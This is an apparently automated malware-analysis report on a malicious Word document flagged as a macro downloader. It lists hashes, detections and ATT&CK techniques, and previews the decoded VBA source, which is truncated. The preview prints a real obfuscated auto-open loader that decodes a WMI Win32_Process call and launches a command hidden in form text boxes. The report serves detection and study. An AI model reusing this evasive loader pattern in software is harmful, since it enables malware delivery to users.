Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8a0952700f0ff040…

MALICIOUS

Office (OLE)

249.5 KB Created: 2019-09-19 07:35:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 79bc593a0f7451123c99d94ba8fa848b SHA-1: d8444df8eea839d0c76f4b3206afe07e50734844 SHA-256: 8a0952700f0ff0407a1c37d9c97bab5c0475088bafbb8dfb05c852ac288feeb2
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Code

The sample is a malicious Office document containing an obfuscated VBA macro. The macro utilizes CreateObject and execution tokens, indicating it's designed to download and execute a second-stage payload. The presence of an AutoOpen macro and the ClamAV detection further support its malicious nature as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-7170910-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7170910-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16769 bytes
SHA-256: 61071695be85b2a5df1630620c05dc095e2987d8d475ab60cc5080ee389bc7ad
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "pfmMdC, 0, 0, MSForms, TextBox"
Attribute VB_Control = "aTrYwuj, 1, 1, MSForms, TextBox"
Attribute VB_Control = "tOlQTQi, 2, 2, MSForms, TextBox"
Attribute VB_Control = "TXdCZD7C, 3, 3, MSForms, TextBox"
Attribute VB_Control = "TbXhQT5a, 4, 4, MSForms, TextBox"
Attribute VB_Control = "KCJhh3, 5, 5, MSForms, TextBox"
Attribute VB_Control = "XKpNaa3, 6, 6, MSForms, TextBox"
Attribute VB_Control = "awqSkD, 7, 7, MSForms, TextBox"
Attribute VB_Control = "JUTf4MD, 8, 8, MSForms, TextBox"
Attribute VB_Control = "Y6BznRJY, 9, 9, MSForms, TextBox"
Attribute VB_Control = "uk0mpw, 10, 10, MSForms, TextBox"
Attribute VB_Control = "NjZsBW, 11, 11, MSForms, TextBox"
Attribute VB_Control = "U47VfSXA, 12, 12, MSForms, TextBox"
Attribute VB_Control = "cAGFIi, 13, 13, MSForms, TextBox"
Attribute VB_Control = "QDHY0MwS, 14, 14, MSForms, TextBox"
Attribute VB_Control = "Fs9MZd, 15, 15, MSForms, TextBox"
Attribute VB_Control = "U1TvYQ, 16, 16, MSForms, TextBox"
Attribute VB_Control = "nX3ckws, 17, 17, MSForms, TextBox"
Attribute VB_Control = "Gajj4q3G, 18, 18, MSForms, TextBox"
Attribute VB_Control = "hhkIrl8i, 19, 19, MSForms, TextBox"

Attribute VB_Name = "NTFcUn"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "AV4_uiTV"

Attribute VB_Name = "pb4oJt9a"

Attribute VB_Name = "M_dfRI1z"

Attribute VB_Name = "cCmz62z"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "v2vZ80"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "jw5zBIO"
Function DcnWoqi()
      On Error Resume Next
   For Each aIkHaw In dqNCwvVl
      For Each QmdBWV In WXYjjkS_
         QZdSh1j = TTajD1d - idwPCcW - (CHnvwaq - Int(lBEofUu))
         Next
      Do
         AzUrF52 = uEWB8LPd - jh_4zSup - (wcjVzVhQ - CDbl(m6XizM))
   Loop Until E5YBYvEI Eqv bYWOdd5b
   Next
         dD8DtUA = rMfVcwaW + DcND6TJ(ThisDocument.QDHY0MwS + ThisDocument.awqSkD) + SUKKvW
      On Error Resume Next
   For Each dRDQJOuR In m89iHOIB
      For Each vqwuwr In X0r01Z6M
         nQzEsw = Qwhvw7 - r5fTid5 - (OGwGjo6B - Int(Qc19_n))
         Next
      Do
         dUsNvLQ = k5pTW5 - iV5wInu - (ZHA7frsG - CDbl(GEWl2_n))
   Loop Until R99ikh Eqv tlas9a
   Next
               On Error Resume Next
   For Each pHsIj_ In sWT9Yt
      For Each fXAOJ5Cq In qq6uHV3
         NDzqcc = Xj96m5Y - Fc46FB - (ICIIP9FY - Int(vzsjwKPk))
         Next
      Do
         jMwjL7 = GLLBorR - bNi3h_Ed - (crsqf3H - CDbl(Nm8TtrQb))
   Loop Until JBRWUtXm Eqv KsDcbr
   Next
         
Set YrSTQwn7 = CreateObject(DcND6TJ("wQA#inmQA#gmQA#tsQA#:QA#WQA#inQA#3QA#2QA#_QA#PrQA#oQA#QA#ceQA#sQA#s"))
With YrSTQwn7
.Create dD8DtUA, lkSqmh, PIK9XUlP, Eut9O3w
End With
      On Error Resume Next
   For Each wjDjkqF In Lbni35wT
      For Each rnb0bH In i6njwY
         EoZoaCdB = AwnAMGR - zilmbQlj - (ioOHEw - Int(Y3zKaMDG))
         Next
      Do
         isjSCqa = B0X1hW3 - opiMEMw5 - (DYjUuI7Z - CDbl(iirzUG7))
   Loop Until NwjGSV Eqv ToTiJvoN
   Next
         End Function
Function DcND6TJ(pZkv7vo)
      On Error Resume Next
   For Each ZDL32
... (truncated)

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